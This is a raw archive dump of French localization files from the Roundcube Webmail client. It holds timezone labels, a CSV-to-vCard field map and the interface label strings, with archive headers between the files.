$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kwajalein';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Marquises';
$labels['tz:pacific:midway'] = 'Midway';
$labels['tz:pacific:nauru'] = 'Nauru';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Nouméa';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'Palau';
$labels['tz:pacific:pitcairn'] = 'Pitcairn';
$labels['tz:pacific:pohnpei'] = 'Pohnpei';
$labels['tz:pacific:port_moresby'] = 'Port Moresby';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Saipan';
$labels['tz:pacific:tahiti'] = 'Tahiti';
$labels['tz:pacific:tarawa'] = 'Tarawa';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Wake';
$labels['tz:pacific:wallis'] = 'Wallis';
PK
h�\�D	1��(program/localization/fr_FR/csv2vcard.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | localization/<lang>/csv2vcard.inc                                     |
 |                                                                       |
 | Localization file of the Roundcube Webmail client                     |
 | Copyright (C) 2005-2013, The Roundcube Dev Team                       |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/
$map = array();
$map['anniversary'] = "Anniversaire de mariage ou fête";
$map['assistants_name'] = "Nom de l''assistant(e)";
$map['assistants_phone'] = "Téléphone de l''assistant(e)";
$map['birthday'] = "Anniversaire";
$map['business_city'] = "Ville (bureau)";
$map['business_countryregion'] = "Pays/Région (bureau)";
$map['business_fax'] = "Télécopie (bureau)";
$map['business_phone'] = "Téléphone (bureau)";
$map['business_phone_2'] = "Téléphone 2 (bureau)";
$map['business_postal_code'] = "Code postal (bureau)";
$map['business_state'] = "Dép/Région (bureau)";
$map['business_street'] = "Rue (bureau)";
$map['car_phone'] = "Téléphone (voiture)";
$map['categories'] = "Catégories";
$map['company'] = "Société";
$map['department'] = "Service";
$map['email_address'] = "Adresse de messagerie";
$map['first_name'] = "Prénom";
$map['gender'] = "Sexe";
$map['home_city'] = "Ville (domicile)";
$map['home_countryregion'] = "Pays/Région (domicile)";
$map['home_fax'] = "Télécopie (domicile)";
$map['home_phone'] = "Téléphone (domicile)";
$map['home_phone_2'] = "Téléphone 2 (domicile)";
$map['home_postal_code'] = "Code postal (domicile)";
$map['home_state'] = "Dép/Région (domicile)";
$map['home_street'] = "Rue (domicile)";
$map['job_title'] = "Profession";
$map['last_name'] = "Nom";
$map['managers_name'] = "Manager's Name";
$map['middle_name'] = "Deuxième prénom";
$map['mobile_phone'] = "Tél. mobile";
$map['notes'] = "Notes";
$map['other_city'] = "Ville (autre)";
$map['other_countryregion'] = "Pays/Région (autre)";
$map['other_fax'] = "Télécopie (autre)";
$map['other_phone'] = "Téléphone (autre)";
$map['other_postal_code'] = "Code postal (autre)";
$map['other_state'] = "Dép/Région (autre)";
$map['other_street'] = "Rue (autre)";
$map['pager'] = "Récepteur de radiomessagerie";
$map['primary_phone'] = "Téléphone principal";
$map['spouse'] = "Conjoint(e)";
$map['suffix'] = "Suffixe";
$map['title'] = "Titre";
$map['web_page'] = "Page Web";
$map['birth_day'] = "Jour";
$map['birth_month'] = "Mois";
$map['birth_year'] = "Année de naissance";
$map['display_name'] = "Nom à afficher";
$map['fax_number'] = "Fax";
$map['home_address'] = "Adresse privée";
$map['home_country'] = "Région";
$map['home_zipcode'] = "Code postal";
$map['mobile_number'] = "Portable";
$map['nickname'] = "Surnom";
$map['organization'] = "Société";
$map['pager_number'] = "Pager";
$map['primary_email'] = "Adresse électronique principale";
$map['secondary_email'] = "Adresse électronique secondaire";
$map['web_page_1'] = "Site Web 1";
$map['web_page_2'] = "Site Web 2";
$map['work_phone'] = "Tél. professionnel";
$map['work_address'] = "Adresse professionnelle";
$map['work_country'] = "Région";
$map['work_zipcode'] = "Code postal";
$map['_home_city'] = "Ville";
PK
h�\�j+��%program/localization/fr_FR/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Bienvenue à $product';
$labels['username'] = 'Nom d’utilisateur';
$labels['password'] = 'Mot de passe';
$labels['server'] = 'Serveur';
$labels['login'] = 'Connexion';
$labels['oauthlogin'] = 'Connexion à $provider';
$labels['menu'] = 'Menu';
$labels['logout'] = 'Déconnexion';
$labels['mail'] = 'Courriel';
$labels['settings'] = 'Paramètres';
$labels['addressbook'] = 'Carnet d’adresses';
$labels['darkmode'] = 'Mode sombre';
$labels['lightmode'] = 'Mode clair';
$labels['inbox'] = 'Boîte de réception';
$labels['drafts'] = 'Brouillons';
$labels['sent'] = 'Envoyés';
$labels['trash'] = 'Corbeille';
$labels['junk'] = 'Pourriels';
$labels['show_real_foldernames'] = 'Montrer les noms réels des dossiers spéciaux';
$labels['subject'] = 'Objet';
$labels['from'] = 'De';
$labels['sender'] = 'Expéditeur';
$labels['to'] = 'À';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Cci';
$labels['replyto'] = 'Répondre à';
$labels['followupto'] = 'Faire suivre à';
$labels['date'] = 'Date';
$labels['size'] = 'Taille';
$labels['priority'] = 'Priorité';
$labels['organization'] = 'Organisation';
$labels['readstatus'] = 'État de lecture';
$labels['listoptions'] = 'Options de liste…';
$labels['listoptionstitle'] = 'Options de liste';
$labels['mailboxlist'] = 'Dossiers';
$labels['messagesfromto'] = 'Courriels de $from à $to sur $count';
$labels['threadsfromto'] = 'Fils de $from à $to sur $count';
$labels['messagenrof'] = 'Courriel $nr sur $count';
$labels['fromtoshort'] = '$from – $to de $count';
$labels['copy'] = 'Copier';
$labels['move'] = 'Déplacer';
$labels['moveto'] = 'Déplacer vers…';
$labels['copyto'] = 'Copier vers…';
$labels['download'] = 'Télécharger';
$labels['open'] = 'Ouvrir';
$labels['showattachment'] = 'Afficher';
$labels['showanyway'] = 'Afficher quand même';
$labels['filename'] = 'Nom du fichier';
$labels['filesize'] = 'Taille du fichier';
$labels['addtoaddressbook'] = 'Ajouter au carnet d’adresses';
$labels['sun'] = 'Dim';
$labels['mon'] = 'Lun';
$labels['tue'] = 'Mar';
$labels['wed'] = 'Mer';
$labels['thu'] = 'Jeu';
$labels['fri'] = 'Ven';
$labels['sat'] = 'Sam';
$labels['sunday'] = 'Dimanche';
$labels['monday'] = 'Lundi';
$labels['tuesday'] = 'Mardi';
$labels['wednesday'] = 'Mercredi';
$labels['thursday'] = 'Jeudi';
$labels['friday'] = 'Vendredi';
$labels['saturday'] = 'Samedi';
$labels['jan'] = 'Jan';
$labels['feb'] = 'Fév';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Avr';
$labels['may'] = 'Mai';
$labels['jun'] = 'Jun';
$labels['jul'] = 'Jul';
$labels['aug'] = 'Aoû';
$labels['sep'] = 'Sep';
$labels['oct'] = 'Oct';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Déc';
$labels['longjan'] = 'Janvier';
$labels['longfeb'] = 'Février';
$labels['longmar'] = 'Mars';
$labels['longapr'] = 'Avril';
$labels['longmay'] = 'Mai';
$labels['longjun'] = 'Juin';
$labels['longjul'] = 'Juillet';
$labels['longaug'] = 'Août';
$labels['longsep'] = 'Septembre';
$labels['longoct'] = 'Octobre';
$labels['longnov'] = 'Novembre';
$labels['longdec'] = 'Décembre';
$labels['today'] = 'Aujourd’hui';
$labels['refresh'] = 'Actualiser';
$labels['checkmail'] = 'Relever les nouveaux courriels';
$labels['compose'] = 'Rédiger';
$labels['writenewmessage'] = 'Créer un nouveau courriel';
$labels['reply'] = 'Répondre';
$labels['replytomessage'] = 'Répondre à l’expéditeur';
$labels['replytoallmessage'] = 'Répondre à la liste ou à l’expéditeur et à tous les destinataires';
$labels['replyall'] = 'Répondre à tous';
$labels['replylist'] = 'Répondre à la liste';
$labels['forward'] = 'Transférer';
$labels['forwardinline'] = 'Transférer dans le courriel';
$labels['forwardattachment'] = 'Transférer comme pièce jointe';
$labels['forwardmessage'] = 'Transférer le courriel';
$labels['bouncemsg'] = 'Renvoyer (retourné)';
$labels['bounce'] = 'Renvoyer';
$labels['deletemessage'] = 'Supprimer le courriel';
$labels['movemessagetotrash'] = 'Déplacer le courriel vers la corbeille';
$labels['printmessage'] = 'Imprimer ce courriel';
$labels['previousmessage'] = 'Afficher le courriel précédent';
$labels['firstmessage'] = 'Afficher le premier courriel';
$labels['nextmessage'] = 'Afficher le courriel suivant';
$labels['lastmessage'] = 'Afficher le dernier courriel';
$labels['backtolist'] = 'Retourner à la liste des courriels';
$labels['viewsource'] = 'Afficher la source';
$labels['mark'] = 'Marquer';
$labels['markmessages'] = 'Marquer les courriels';
$labels['markread'] = 'Comme lu';
$labels['markunread'] = 'Comme non lu';
$labels['markflagged'] = 'Comme signalé';
$labels['markunflagged'] = 'Comme non signalé';
$labels['markundeleted'] = 'Comme non supprimé';
$labels['moreactions'] = 'Plus d’actions…';
$labels['markallread'] = 'Tout marquer comme lu';
$labels['folders-cur'] = 'Dossier sélectionné seulement';
$labels['folders-sub'] = 'Dossier sélectionné et ses sous-dossiers';
$labels['folders-all'] = 'Tous les dossiers';
$labels['more'] = 'Plus';
$labels['back'] = 'Retour';
$labels['options'] = 'Options';
$labels['composeoptions'] = 'Options de rédaction';
$labels['optionsandattachments'] = 'Options et pièces jointes';
$labels['actions'] = 'Actions';
$labels['first'] = 'Premier';
$labels['last'] = 'Dernier';
$labels['previous'] = 'Précédent';
$labels['next'] = 'Suivant';
$labels['select'] = 'Sélectionner';
$labels['selection'] = 'Sélection';
$labels['all'] = 'Tous';
$labels['none'] = 'Aucun';
$labels['currpage'] = 'Page courante';
$labels['isread'] = 'Lu';
$labels['unread'] = 'Non lu';
$labels['flagged'] = 'Signalé';
$labels['unflagged'] = 'Non signalé';
$labels['unanswered'] = 'Sans réponse';
$labels['withattachment'] = 'Avec pièce jointe';
$labels['deleted'] = 'Supprimé';
$labels['undeleted'] = 'Non supprimé';
$labels['replied'] = 'Réponse faite';
$labels['forwarded'] = 'Transféré';
$labels['invert'] = 'Inverser';
$labels['filter'] = 'Filtrer';
$labels['list'] = 'Liste';
$labels['threads'] = 'Fils';
$labels['expand-all'] = 'Tout afficher';
$labels['expand-unread'] = 'Afficher les non lus';
$labels['collapse-all'] = 'Fermer tous';
$labels['threaded'] = 'Par fil';
$labels['showunread'] = 'Afficher les courriels non lus';
$labels['autoexpand_threads'] = 'Développer les fils de courriel';
$labels['do_expand'] = 'Tous les fils';
$labels['expand_only_unread'] = 'seulement avec des courriels non lus';
$labels['fromto'] = 'De/À';
$labels['flag'] = 'Signaler';
$labels['attachment'] = 'Pièce jointe';
$labels['nonesort'] = 'Aucun';
$labels['sentdate'] = 'Date d’envoi';
$labels['arrival'] = 'Date d’arrivée';
$labels['asc'] = 'ascendant';
$labels['desc'] = 'descendant';
$labels['listcolumns'] = 'Colonnes de la liste';
$labels['listsorting'] = 'Colonne de tri';
$labels['listorder'] = 'Ordre de tri';
$labels['listmode'] = 'Mode d’affichage en liste';
$labels['lmode'] = 'Mode de listage';
$labels['layout'] = 'Disposition';
$labels['layoutwidescreen'] = 'Écran large';
$labels['layoutdesktop'] = 'Bureau';
$labels['layoutlist'] = 'Liste';
$labels['layoutwidescreendesc'] = 'Écran large (vue sur 3 colonnes)';
$labels['layoutdesktopdesc'] = 'Bureau (liste large et aperçu des courriels dessous)';
$labels['layoutlistdesc'] = 'Liste (pas d’aperçu des courriels)';
$labels['folderactions'] = 'Actions sur les dossiers…';
$labels['compact'] = 'Compacter';
$labels['empty'] = 'Vider';
$labels['importmessages'] = 'Importer des courriels';
$labels['mailimportdesc'] = 'Vous pouvez téléverser des courriels en utilisant des fichiers au format <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> ou <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>.';
$labels['mailimportzip'] = 'Les fichiers multiples peuvent être compressés en fichiers zip.';
$labels['quota'] = 'Utilisation du disque';
$labels['unknown'] = 'inconnue';
$labels['unlimited'] = 'illimitée';
$labels['quotatype'] = 'Type de quota';
$labels['quotatotal'] = 'Limite';
$labels['quotaused'] = 'Utilisé';
$labels['quotastorage'] = 'Espace disque';
$labels['quotamessage'] = 'Nombre de courriels';
$labels['shortheaderdate'] = 'Le $date';
$labels['shortheaderto'] = 'À $to, le $date';
$labels['shortheaderfrom'] = 'De $from, le $date';
$labels['quicksearch'] = 'Recherche rapide';
$labels['searchplaceholder'] = 'Recherche…';
$labels['resetsearch'] = 'Réinitialiser la recherche';
$labels['searchmod'] = 'Modificateurs de recherche';
$labels['msgtext'] = 'Courriel entier';
$labels['body'] = 'Corps';
$labels['type'] = 'Type';
$labels['namex'] = 'Nom';
$labels['searchscope'] = 'Portée';
$labels['currentfolder'] = 'Répertoire actuel';
$labels['subfolders'] = 'Ceci et les sous-dossiers';
$labels['allfolders'] = 'Tous les dossiers';
$labels['searchinterval-1W'] = 'plus d’une semaine';
$labels['searchinterval-1M'] = 'plus d’un mois';
$labels['searchinterval-1Y'] = 'plus d’une année';
$labels['searchinterval1W'] = 'moins d’une semaine';
$labels['searchinterval1M'] = 'moins d’un mois';
$labels['searchinterval1Y'] = 'moins d’une année';
$labels['openinextwin'] = 'Ouvrir dans une nouvelle fenêtre';
$labels['emlsave'] = 'Télécharger (.eml)';
$labels['changeformattext'] = 'Afficher au format texte en clair';
$labels['changeformathtml'] = 'Afficher au format HTML';
$labels['editasnew'] = 'Éditer comme nouveau';
$labels['send'] = 'Envoyer';
$labels['sendmessage'] = 'Envoyer un courriel';
$labels['savemessage'] = 'Enregistrer comme brouillon';
$labels['addattachment'] = 'Joindre un fichier';
$labels['charset'] = 'Jeu de caractères';
$labels['editortype'] = 'Type d’éditeur';
$labels['returnreceipt'] = 'Avis d’ouverture du courriel';
$labels['dsn'] = 'Notification d’état de distribution';
$labels['keepformatting'] = 'Garder le format';
$labels['mailreplyintro'] = 'Le $date, $sender a écrit :';
$labels['originalmessage'] = 'Courriel original';
$labels['selectimage'] = 'Sélectionner l’image';
$labels['addimage'] = 'Ajouter une image';
$labels['selectmedia'] = 'Choisir un film';
$labels['addmedia'] = 'Ajouter un film';
$labels['encrypt'] = 'Chiffrer';
$labels['encryptmessage'] = 'Chiffrer le message';
$labels['encryptmessagemailvelope'] = 'Chiffrer le message avec Mailvelope';
$labels['importpubkeys'] = 'Importer des clés publiques';
$labels['encryptedsendialog'] = 'Envoi du message chiffré';
$labels['encryptandsign'] = 'Chiffrer et signer';
$labels['keyid'] = 'ID de la clé';
$labels['keylength'] = 'bits';
$labels['keyexpired'] = 'Expirée';
$labels['keyrevoked'] = 'Révoquée';
$labels['bccinstead'] = 'Utiliser la Cci';
$labels['addheader'] = 'Ajouter un destinataire (en-tête)';
$labels['insert'] = 'Insérer';
$labels['insertcontact'] = 'Insérer des contacts';
$labels['recipient'] = 'Destinataire';
$labels['recipientedit'] = 'Modification du destinataire';
$labels['editidents'] = 'Éditer les identités';
$labels['spellcheck'] = 'Orthographe';
$labels['checkspelling'] = 'Vérification de l’orthographe';
$labels['resumeediting'] = 'Retourner à l’édition';
$labels['revertto'] = 'Revenir à';
$labels['restore'] = 'Restaurer';
$labels['restoremessage'] = 'Restaurer le courriel ?';
$labels['ignore'] = 'Ignorer';
$labels['responses'] = 'Réponses';
$labels['insertresponse'] = 'Insérer une réponse';
$labels['manageresponses'] = 'Gérer les réponses';
$labels['newresponse'] = 'Créer une nouvelle réponse';
$labels['addresponse'] = 'Ajouter une réponse';
$labels['editresponse'] = 'Éditer la réponse';
$labels['editresponses'] = 'Éditer les réponses';
$labels['responsename'] = 'Nom';
$labels['responsetext'] = 'Texte de la réponse';
$labels['attach'] = 'Joindre';
$labels['attachments'] = 'Pièces jointes';
$labels['upload'] = 'Téléverser';
$labels['uploadprogress'] = '$percent ($current de $total)';
$labels['close'] = 'Fermer';
$labels['messageoptions'] = 'Options de courriel…';
$labels['togglecomposeoptions'] = 'Activer/désactiver les options de rédaction';
$labels['attachmentrename'] = 'Renommer la pièce jointe';
$labels['low'] = 'Basse';
$labels['lowest'] = 'La plus basse';
$labels['normal'] = 'Normale';
$labels['high'] = 'Élevée';
$labels['highest'] = 'La plus élevée';
$labels['nosubject'] = '(pas d’objet)';
$labels['showimages'] = 'Afficher les images';
$labels['allow'] = 'Autoriser';
$labels['alwaysshow'] = 'Toujours afficher les images de $sender';
$labels['alwaysallow'] = 'Toujours autoriser de $sender';
$labels['isdraft'] = 'Ceci est un brouillon.';
$labels['andnmore'] = '$nr de plus…';
$labels['details'] = 'Détails';
$labels['summary'] = 'Résumé';
$labels['headers'] = 'En-têtes';
$labels['allheaders'] = 'Tous les en-têtes…';
$labels['togglemoreheaders'] = 'Afficher plus d’en-têtes de courriels';
$labels['togglefullheaders'] = 'Afficher/masquer les en-têtes brutes de courriels';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Texte en clair';
$labels['savesentmessagein'] = 'Enregistrer le courriel envoyé dans';
$labels['dontsave'] = 'ne pas enregistrer';
$labels['maxuploadsize'] = 'La taille de fichier maximum autorisée est $size';
$labels['addcc'] = 'Ajouter Cc';
$labels['addbcc'] = 'Ajouter une Cci';
$labels['addreplyto'] = 'Ajouter Répondre à';
$labels['addfollowupto'] = 'Ajouter Transférer à';
$labels['sendreceipt'] = 'Envoyer un avis de lecture ?';
$labels['mdnrequest'] = 'L’expéditeur de ce courriel a demandé d’être prévenu quand vous le lirez. Voulez-vous prévenir l’expéditeur ?';
$labels['receiptread'] = 'Avis d’ouverture du courriel (lu)';
$labels['yourmessage'] = 'Ceci est un avis d’ouverture de votre courriel';
$labels['receiptnote'] = 'Note : Cet avis indique seulement que le courriel a été affiché sur l’ordinateur du destinataire. Il n’y a aucune garantie que le destinataire ait lu ou compris le contenu du courriel.';
$labels['sendalwaysto'] = 'Toujours envoyer à $email';
$labels['zoomin'] = 'Zoom avant';
$labels['zoomout'] = 'Zoom arrière';
$labels['rotate'] = 'Rotation';
$labels['increaseimage'] = 'Augmenter la taille de l’image';
$labels['decreaseimage'] = 'Diminuer la taille de l’image';
$labels['rotateimage'] = 'Pivoter l’image';
$labels['showtools'] = 'Afficher les outils de manipulation des images';
$labels['hidetools'] = 'Cacher les outils de manipulation des images';
$labels['name'] = 'Nom d’affichage';
$labels['firstname'] = 'Prénom';
$labels['surname'] = 'Nom de famille';
$labels['middlename'] = 'Second prénom';
$labels['nameprefix'] = 'Préfixe';
$labels['namesuffix'] = 'Suffixe';
$labels['nickname'] = 'Surnom';
$labels['jobtitle'] = 'Appellation d’emploi';
$labels['department'] = 'Service';
$labels['gender'] = 'Sexe';
$labels['maidenname'] = 'Nom de jeune fille';
$labels['email'] = 'Courriel';
$labels['phone'] = 'Téléphone';
$labels['address'] = 'Adresse';
$labels['street'] = 'Rue';
$labels['locality'] = 'Ville';
$labels['zipcode'] = 'Code postal';
$labels['region'] = 'État/province/région';
$labels['country'] = 'Pays';
$labels['birthday'] = 'Date de naissance';
$labels['anniversary'] = 'Anniversaire';
$labels['website'] = 'Site Web';
$labels['instantmessenger'] = 'MI';
$labels['notes'] = 'Notes';
$labels['male'] = 'homme';
$labels['female'] = 'femme';
$labels['manager'] = 'Gestionnaire';
$labels['assistant'] = 'Assistant';
$labels['spouse'] = 'Conjoint/conjointe';
$labels['allfields'] = 'Tous les champs';
$labels['search'] = 'Recherche';
$labels['searchresult'] = 'Résultat de la recherche';
$labels['advsearch'] = 'Recherche avancée';
$labels['advanced'] = 'Détails';
$labels['other'] = 'Autre';
$labels['printcontact'] = 'Imprimer le contact';
$labels['qrcode'] = 'Code QR';
$labels['typehome'] = 'Domicile';
$labels['typework'] = 'Travail';
$labels['typeother'] = 'Autre';
$labels['typemobile'] = 'Téléphone mobile';
$labels['typemain'] = 'Principale';
$labels['typehomefax'] = 'Fax personnel';
$labels['typeworkfax'] = 'Fax professionnel';
$labels['typecar'] = 'Voiture';
$labels['typepager'] = 'Téléavertisseur';
$labels['typevideo'] = 'Vidéo';
$labels['typeassistant'] = 'Assistant';
$labels['typehomepage'] = 'Page d’accueil';
$labels['typeblog'] = 'Blogue';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Ajouter un champ…';
$labels['addcontact'] = 'Ajouter un contact';
$labels['editcontact'] = 'Modifier le contact';
$labels['contacts'] = 'Contacts';
$labels['contactproperties'] = 'Propriétés du contact';
$labels['contactnameandorg'] = 'Nom et organisation';
$labels['personalinfo'] = 'Renseignements personnels';
$labels['personal'] = 'Personnel';
$labels['contactphoto'] = 'Photo du contact';
$labels['edit'] = 'Modifier';
$labels['cancel'] = 'Annuler';
$labels['save'] = 'Enregistrer';
$labels['delete'] = 'Supprimer';
$labels['discard'] = 'Supprimer';
$labels['continue'] = 'Continuer';
$labels['ok'] = 'OK';
$labels['rename'] = 'Renommer';
$labels['addphoto'] = 'Ajouter';
$labels['replacephoto'] = 'Remplacer';
$labels['uploadphoto'] = 'Téléverser une photo';
$labels['choosefile'] = 'Choisir un fichier…';
$labels['choosefiles'] = 'Choisir des fichiers…';
$labels['browse'] = 'Parcourir';
$labels['newcontact'] = 'Créer un nouveau contact';
$labels['deletecontact'] = 'Supprimer les contacts sélectionnés';
$labels['composeto'] = 'Rédiger un courriel à';
$labels['contactsfromto'] = 'Contacts de $from à $to sur $count';
$labels['print'] = 'Imprimer';
$labels['export'] = 'Exporter';
$labels['exportall'] = 'Tout exporter';
$labels['exportsel'] = 'Exporter la sélection';
$labels['exportvcards'] = 'Exporter les contacts au format vCard';
$labels['newgroup'] = 'Créer un nouveau groupe';
$labels['addgroup'] = 'Ajouter un groupe';
$labels['grouprename'] = 'Renommer le groupe';
$labels['groupdelete'] = 'Supprimer le groupe';
$labels['groupassign'] = 'Affecter au groupe…';
$labels['groupremove'] = 'Supprimer du groupe';
$labels['groupremoveselected'] = 'Retirer les contacts sélectionnés du groupe';
$labels['uponelevel'] = 'Monter d’un niveau';
$labels['previouspage'] = 'Afficher page précédente';
$labels['firstpage'] = 'Afficher la première page';
$labels['nextpage'] = 'Afficher la page suivante';
$labels['lastpage'] = 'Afficher la dernière page';
$labels['group'] = 'Groupe';
$labels['groups'] = 'Groupes';
$labels['listgroup'] = 'Lister les membres du groupe';
$labels['personaladrbook'] = 'Adresses personnelles';
$labels['searchsave'] = 'Enregistrer la recherche';
$labels['searchdelete'] = 'Supprimer la recherche';
$labels['import'] = 'Importer';
$labels['importcontacts'] = 'Importer les contacts';
$labels['importfromfile'] = 'Importer d’un fichier';
$labels['importtarget'] = 'Ajouter les contacts à';
$labels['importreplace'] = 'Remplacer le carnet d’adresses entier';
$labels['importgroups'] = 'Importer les affectations de groupe';
$labels['importgroupsall'] = 'Tous (créer les groupes si nécessaire)';
$labels['importgroupsexisting'] = 'Seulement pour les groupes existants';
$labels['importdesc'] = 'Vous pouvez téléverser des contacts à partir d’un carnet d’adresses existant.<br/>Nous prenons actuellement en charge l’importation d’adresses à partir des format de données <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> ou CSV (séparé par des virgules).';
$labels['importmapdesc'] = 'Confirmez que les renseignements de mappage des champs ci-dessous sont justes avant de poursuivre avec l’importation de données séparées par des virgules (CSV)';
$labels['fieldnotmapped'] = 'Le champ n’est pas mappé (ne pas importer)';
$labels['skipheader'] = 'Ne pas importer la première ligne (en-têtes)';
$labels['done'] = 'Terminé';
$labels['settingsfor'] = 'Paramètres pour';
$labels['about'] = 'À propos de';
$labels['preferences'] = 'Préférences';
$labels['userpreferences'] = 'Préférences utilisateur';
$labels['editpreferences'] = 'Modifier les préférences utilisateur';
$labels['identities'] = 'Identités';
$labels['manageidentities'] = 'Gérer les identités';
$labels['newidentity'] = 'Créer une nouvelle identité';
$labels['addidentity'] = 'Ajouter une identité';
$labels['editidentity'] = 'Modifier l’identité';
$labels['identityencryption'] = 'Chiffrement';
$labels['preferhtml'] = 'Afficher en HTML';
$labels['defaultcharset'] = 'Jeu de caractère par défaut';
$labels['htmlmessage'] = 'Courriel HTML';
$labels['messagepart'] = 'Partie';
$labels['digitalsig'] = 'Signature numérique';
$labels['dateformat'] = 'Format de date';
$labels['timeformat'] = 'Format horaire';
$labels['prettydate'] = 'Jolies dates';
$labels['setdefault'] = 'Définir par défaut';
$labels['autodetect'] = 'Automatique';
$labels['language'] = 'Langue';
$labels['timezone'] = 'Fuseau horaire';
$labels['pagesize'] = 'Lignes par page';
$labels['signature'] = 'Signature';
$labels['dstactive'] = 'Heure avancée';
$labels['showinextwin'] = 'Ouvrir le courriel dans une nouvelle fenêtre';
$labels['composeextwin'] = 'Rédiger dans une nouvelle fenêtre';
$labels['htmleditor'] = 'Rédiger des courriels HTML';
$labels['htmlonreply'] = 'en réponse à un courriel en HTML';
$labels['htmlonreplyandforward'] = 'lors d’un transfert ou en réponse à un courriel en HTML';
$labels['htmlsignature'] = 'Signature HTML';
$labels['showemail'] = 'Montrer l’adresse courriel avec le nom d’affichage';
$labels['previewpane'] = 'Montrer le volet de prévisualisation';
$labels['skin'] = 'Habillage de l’interface';
$labels['logoutclear'] = 'Vider la corbeille à la déconnexion';
$labels['logoutcompact'] = 'Compacter la boîte de réception à la déconnexion';
$labels['uisettings'] = 'Interface utilisateur';
$labels['serversettings'] = 'Paramètres du serveur';
$labels['mailboxview'] = 'Vue de la boîte de courriel';
$labels['mdnrequests'] = 'À la demande d’avis d’ouverture du courriel';
$labels['askuser'] = 'me demander';
$labels['autosend'] = 'envoyer un avis';
$labels['autosendknown'] = 'envoyer un avis à mes contacts, sinon me demander';
$labels['autosendknownignore'] = 'envoyer un avis à mes contacts, sinon ignorer';
$labels['autosendtrusted'] = 'envoyer un avis aux expéditeurs de confiance, sinon me demander';
$labels['autosendtrustedignore'] = 'envoyer un avis aux expéditeurs de confiance, sinon ignorer';
$labels['ignorerequest'] = 'ignorer la demande';
$labels['readwhendeleted'] = 'Marquer le courriel comme lu lors de la suppression';
$labels['flagfordeletion'] = 'Signaler le courriel pour la suppression au lieu de le supprimer';
$labels['skipdeleted'] = 'Ne pas montrer les courriels supprimés';
$labels['deletealways'] = 'Si le déplacement des courriels à la corbeille échoue, les supprimer';
$labels['deletejunk'] = 'Supprimer directement les pourriels';
$labels['showremoteimages'] = 'Afficher les images distantes des courriels';
$labels['allowremoteresources'] = 'Autoriser les ressources distantes (images, styles)';
$labels['fromknownsenders'] = 'd’expéditeurs connus';
$labels['fromtrustedsenders'] = 'd’expéditeurs de confiance';
$labels['frommycontacts'] = 'de mes contacts';
$labels['always'] = 'toujours';
$labels['alwaysbutplain'] = 'toujours, sauf lors d’une réponse à un texte en clair';
$labels['showinlineimages'] = 'Afficher les images jointes sous le courriel';
$labels['autosavedraft'] = 'Enregistrer automatiquement un brouillon';
$labels['everynminutes'] = 'toutes les $n minute(s)';
$labels['refreshinterval'] = 'Actualiser (relever les nouveaux courriels, etc.)';
$labels['never'] = 'jamais';
$labels['immediately'] = 'Immédiatement';
$labels['messagesdisplaying'] = 'Affichage des courriels';
$labels['messagescomposition'] = 'Rédaction de courriels';
$labels['mimeparamfolding'] = 'Noms des pièces jointes';
$labels['2231folding'] = 'RFC 2231 complet (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'RFC 2047 complet (autre)';
$labels['force7bit'] = 'Utiliser l’encodage MIME pour les caractères 8 bits';
$labels['savelocalstorage'] = "Enregistrer dans le stockage local du navigateur (temporaire)";
$labels['advancedoptions'] = 'Options avancées';
$labels['toggleadvancedoptions'] = 'Activer/désactiver les options avancées';
$labels['focusonnewmessage'] = 'Cibler la fenêtre du navigateur quand un nouveau courriel arrive';
$labels['checkallfolders'] = 'Vérifier les nouveaux courriels dans tous les dossiers';
$labels['displaynext'] = 'Afficher la prochaine entrée de la liste après suppression ou déplacement';
$labels['defaultfont'] = 'Police par défaut des courriels HTML';
$labels['mainoptions'] = 'Options principales';
$labels['browseroptions'] = 'Options du navigateur';
$labels['section'] = 'Section';
$labels['maintenance'] = 'Maintenance';
$labels['newmessage'] = 'Nouveau courriel';
$labels['signatureoptions'] = 'Options de signature';
$labels['whenreplying'] = 'Lors d’une réponse';
$labels['replyempty'] = 'ne pas citer le courriel original';
$labels['replytopposting'] = 'commencer le nouveau courriel au-dessus de la citation';
$labels['replytoppostingnoindent'] = 'commencer le nouveau courriel au-dessus de la citation (sans indentation)';
$labels['replybottomposting'] = 'commencer le nouveau courriel en-dessous de la citation';
$labels['replyremovesignature'] = 'Lors de la réponse, supprimer la signature originale du courriel ';
$labels['autoaddsignature'] = 'Ajouter la signature automatiquement';
$labels['newmessageonly'] = 'nouveau courriel seulement';
$labels['replyandforwardonly'] = 'réponses et transferts seulement';
$labels['insertsignature'] = 'Insérer la signature';
$labels['sigbelow'] = 'Placer la signature sous le message cité';
$labels['sigseparator'] = 'Forcer le séparateur standard dans les signatures';
$labels['automarkread'] = 'Marquer les courriels comme lus';
